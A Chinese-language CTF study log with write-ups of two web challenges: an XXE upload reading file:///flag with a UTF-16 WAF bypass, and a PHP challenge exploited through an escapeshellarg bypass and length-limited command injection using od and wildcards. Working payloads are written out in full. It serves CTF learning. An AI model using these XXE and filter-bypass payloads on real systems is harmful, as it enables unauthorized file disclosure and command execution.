5月23日学习记录

[CSAWQual 2019]Unagi

涉及:xxe漏洞,外来编码xml绕过

打开环境,发现存在文件上传

简单上传一个php

毫无疑问上传失败,说是存在waf,绕过waf才能上传,点击here看看

xml编码,可能存在xxe漏洞,并且user可以查看信息

既然可能存在xxe漏洞,就上传个xml看看

在引用外部实体后,上传还是被waf拦截,去查阅资料绕过waf保护的xxe

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<users>
<user>
<username>&admin;</username>
<password>&admin;</password>
<name>&admin;</name>
<email>&admin;</email>
<group>&admin;</group>
</user>
</users>

通过外来编码,原本对于xml的保存是用UTF-8编码保存的,现在改用UTF-16来绕过WAF

上传成功,但是flag回显不完全,user里面还存在另外一个变量

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<users>
<user>
<username>&admin;</username>
<password>&admin;</password>
<name>&admin;</name>
<email>&admin;</email>
<group>&admin;</group>
<intro>&admin;</intro>
</user>
</users>

 成功拿到flag

[广东强网杯 2021 团队组]love_Pokemon

 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){mkdir($dir);
}function DefenderBonus($Pokemon){if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){die('catch broken Pokemon! mew-_-two');}else{return $Pokemon;}}function ghostpokemon($Pokemon){if(is_array($Pokemon)){foreach ($Pokemon as $key => $pks) {$Pokemon[$key] = DefenderBonus($pks);}}else{$Pokemon = DefenderBonus($Pokemon);}
}switch($_POST['myfavorite'] ?? ""){case 'picacu!':echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);break;case 'bulbasaur!':echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);$level = $_POST["levelup"] ?? "";if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){echo file_get_contents('./hint.php');}break;case 'squirtle':echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);break;case 'mewtwo':$dream = $_POST["dream"] ?? "";if(strlen($dream)>=20){die("So Big Pokenmon!");}ghostpokemon($dream);echo shell_exec($dream);
}?> 
一.读取hint.php

发现可以读取hint.php,但是要先满足switch的循环,post传参'myfavorite'等于'bulbasaur!',在满足一个if判断就能读取hint.php,要求在正则中不存在lv100,但是经过escapeshellarg处理后存在lv100

涉及到escapeshellarg函数

escapeshellarg:
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
把字符串转码为可以在 shell 命令里使用的参数
string escapeshellarg ( string $arg )
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

 绕过escapeshellarg()

利用函数存在的漏洞:在处理超过ACill码范围的字符时,会直接过滤掉该字符;

所以利用不可见的字符来绕过escapeshellarg

选择用'%81'不可见字符绕过,第一层的payload

myfavorite=bulbasaur!&levelup=lv%81100

拿到提示flag在 /FLAG

二.读取flag

通过shell_exec,来命令执行读取flag,但是要考虑到前面的过滤,和字符串的长度

过滤了空格,flag和cat等命令,转义符也用不了

使用之前没有接触过的命令 od读取flag

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

我尝试用大写来绕过对flag的过滤,但是绕过不了,把L和A都过滤了,所以使用通配符绕过

flag在/FLAG下,所以替换为/F[B-Z][@-Z]G

之所以会用@-Z是因为@在A前面

不知道大家有没有疑惑为什么过滤的明明是'l''a',但是'L''A'也被过滤了,经过查阅发现了之前没注意的地方,这里的正则匹配是/express/i,这种匹配对于大小写不敏感,所以这里大写的FLAG绕过不了,大小写绕过的情况是对于大小写敏感的匹配时使用,也是做题的时候比较疑惑的地方

payload

myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

一串8进制数,转换为acill字符

ump = "0000000 051516 041523 043124 033173 062466 033060 061466 026467 0000020 032464 033144 032055 062143 026461 061542 032062 030455 0000040 062544 032460 032071 031545 060462 076542 000012 0000055"octs = [("0o" + n) for n in ump.split(" ") if n]hexs = [int(n, 8) for n in octs]result = ""for n in hexs:if (len(hex(n)) > 4):swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)result += swapped[2:].zfill(4)print(bytes.fromhex(result).decode())

我看nss上有人说不存在的字符绕过escapeshellarg 时,回显不对,查看源码也没有hint,如果出现这种情况的话可以抓包再传一次参(是重新传参,不是重发啊),就可以,最后查看flag也是

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/332329.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Point-Nerf 理论笔记和理解

文章目录 什么是point nerf 和Nerf 有什么区别Point Nerf 核心结构有哪些&#xff1f;什么是point-based radiance field? 点云位置以及置信度是怎么来Point pruning 和 Point Growing 什么是point nerf 和Nerf 有什么区别 基本的nerf 是通过过拟合MLP来完成任意视角场景的重…

c#核心学习1

一、面向对象的概念 1.面向过程编程 2.面向对象编程 3.为什么要学习面向对象编程 提高代码复用率、提高开发效率、提高程序可拓展性、清晰的逻辑关系 4.如何学习 二、面向对象--封装 1&#xff09;类和对象 1.什么是类 2.类申明在哪里 类一般声明在namespace语句块中 3.…

摄像头应用测试

作者简介&#xff1a; 一个平凡而乐于分享的小比特&#xff0c;中南民族大学通信工程专业研究生在读&#xff0c;研究方向无线联邦学习 擅长领域&#xff1a;驱动开发&#xff0c;嵌入式软件开发&#xff0c;BSP开发 作者主页&#xff1a;一个平凡而乐于分享的小比特的个人主页…

【操作系统】发展与分类(手工操作、批处理、分时操作、实时操作)

2.操作系统发展与分类 思维导图 手工操作阶段&#xff08;此阶段无操作系统&#xff09; 需要人工干预 缺点&#xff1a; 1.用户独占全机&#xff0c;资源利用率低&#xff1b; 2.CPU等待手工操作&#xff0c;CPU利用不充分。 批处理阶段&#xff08;操作系统开始出现&#x…

【JavaScript】初识 Promise

出现原由 先看一个例子&#xff1a; 模拟发送表白信息&#xff0c;如果一个失败&#xff0c;那么再给其他人发送&#xff0c;这时就相当于在失败回调函数中套了一层回调&#xff1b;如果后续还有多个表白对象&#xff0c;那么将一层一层地嵌套下去&#xff0c;也就是回调地狱…

Generative Action Description Prompts for Skeleton-based Action Recognition

标题&#xff1a;基于骨架的动作识别的生成动作描述提示 源文链接&#xff1a;https://openaccess.thecvf.com/content/ICCV2023/papers/Xiang_Generative_Action_Description_Prompts_for_Skeleton-based_Action_Recognition_ICCV_2023_paper.pdfhttps://openaccess.thecvf.c…

正运动控制器:视觉纠偏和找孔

一、用户主界面CCD参数设置 通过主界面CCD参数设置&#xff0c;学习如何操作计算相机中心与电批中心的偏移量&#xff0c;以及相机标定的功能。 1、相机中心与电批中心的偏移量计算 1.1、在用户主界面点击CCD参数按钮&#xff0c;进入CCD设置界面。 主界面 CCD参数设置界面 1…

显存碎片化与CUDA OOM解决

目录 一.显存碎片化与CUDA OOM解决 1.查看显卡内存容量 2.显存碎片化 &#xff08;1&#xff09;如何理解显存中“已分配”和“未分配”的内存块? &#xff08;2&#xff09;碎片化形成的原因&#xff1f; &#xff08;3&#xff09;如何减轻显存碎片化&#xff1f; 3.实…

空间注意力机制

第一步是沿着通道维度进行最大池化和平均池化&#xff0c;比如下面3*3的特征图&#xff0c;有3个通道。 第二步新特征图进行拼接并经过卷积调整通道数 第三步经过Sigmoid函数后乘到输入上 代码&#xff1a; class SpatialAttention(layers.Layer):def __init__(self):super(S…

Hibernate

主流ORM框架Object Relation Mapping对象关系映射&#xff0c;将面向对象映射成面向关系。 如何使用 1、导入相关依赖 2、创建Hibernate配置文件 3、创建实体类 4、创建实体类-关系映射文件 5、调用Hibernate API完成操作 具体操作 1、创建 Maven工程&#xff0c;在pom.xml中导…

Milvus Cloud 非结构化数据平台

从技术面来看,向量数据库底座自然而然向外延伸的产品包含: 1)向量提取,从非结构化数据中提取向量,这是向量数据库上游的工作,十分重要; 2)模型选择,选择正确的模型,能够更精准、更高质量地提取向量; 3)映射管理,即管理数据的本体和数据的语义层之间的映射,在…

【Linux杂货铺】进程通信

目录 &#x1f308; 前言&#x1f308; &#x1f4c1; 通信概念 &#x1f4c1; 通信发展阶段 &#x1f4c1; 通信方式 &#x1f4c1; 管道&#xff08;匿名管道&#xff09; &#x1f4c2; 接口 ​编辑&#x1f4c2; 使用fork来共享通道 &#x1f4c2; 管道读写规则 &…

01.并发编程简介

1 什么是并发编程 所谓并发编程是指在一台处理器上“同时”处理多个任务。并发是在同一实体上的多个事件。多个事件在同一时间间隔发生。 2 为什么我们要学习并发编程&#xff1f; 最直白的原因就是因为面试需要&#xff0c;大厂的 Java 岗的并发编程能力属于标配。 而在非大厂…

【Python特征工程系列】一文教你使用PCA进行特征分析与降维(案例+源码)

这是我的第287篇原创文章。 一、引言 主成分分析&#xff08;Principal Component Analysis, PCA&#xff09;是一种常用的降维技术&#xff0c;它通过线性变换将原始特征转换为一组线性不相关的新特征&#xff0c;称为主成分&#xff0c;以便更好地表达数据的方差。 在特征重要…

【数据结构】二叉树的认识与实现

目录 二叉树的概念&#xff1a; 二叉树的应用与实现&#xff1a; 二叉树实现接口&#xff1a; 通过前序遍历的数组"ABD##E#H##CF##G##"构建二叉树 二叉树节点个数​编辑 二叉树叶子节点个数 二叉树第k层节点个数 二叉树查找值为x的节点​编辑 二叉树前序遍…

全网讲的最详细的Docker镜像分层存储原理

先说结论&#xff0c;容器镜像分层存储图示 欢迎关注 实验环境准备 当前实验docker版本24.0.7如下&#xff0c;当前docker版本使用overlay2机制存储镜像 Client: Docker Engine - CommunityVersion: 24.0.7API version: 1.43Go version: go1.20.10…

Redis第18讲——Redis和Redission实现延迟消息

即使不是做电商业务的同学&#xff0c;也一定知道订单超时关闭这种业务场景&#xff0c;这个场景大致就是用户下单后&#xff0c;如果在一定时间内未支付&#xff08;比如15分钟、半小时&#xff09;&#xff0c;那么系统就会把这笔订单给关闭掉。这个功能实现的方式有很多种&a…

《Ai学习笔记》-模型集成部署

后续大多数模型提升速度和精度&#xff1a; 提升速度&#xff1a; -知识蒸馏&#xff0c;以distillBert和tinyBert为代表 -神经网络优化技巧。prune来剪裁多余的网络节点&#xff0c;混合精度&#xff08;fp32和fp26混合来降低计算精度从从而实现速度的提升&#xff09; 提…

【Week-R1】RNN实现心脏病预测,基于tensorflow框架

文章目录 一、什么是RNN&#xff1f;二、准备环境和数据2.1 导入数据 三、构建模型四、训练和预测五、其他&#xff08;1&#xff09;sklearn模块导入报错&#xff1a;ModuleNotFoundError: No module named sklearn&#xff08;2&#xff09;优化器改为SGD&#xff0c;accurac…

SVM兵王问题

1.流程 前面六个就是棋子的位置&#xff0c;draw就是逼和&#xff0c;后面的数字six就代表&#xff0c;白棋最少用六步就能将死对方。然后呢&#xff0c;可以看一下最后一个有几种情况&#xff1a; 2.交叉测试 leave one out&#xff1a; 留一个样本作测试集&#xff0c;其余…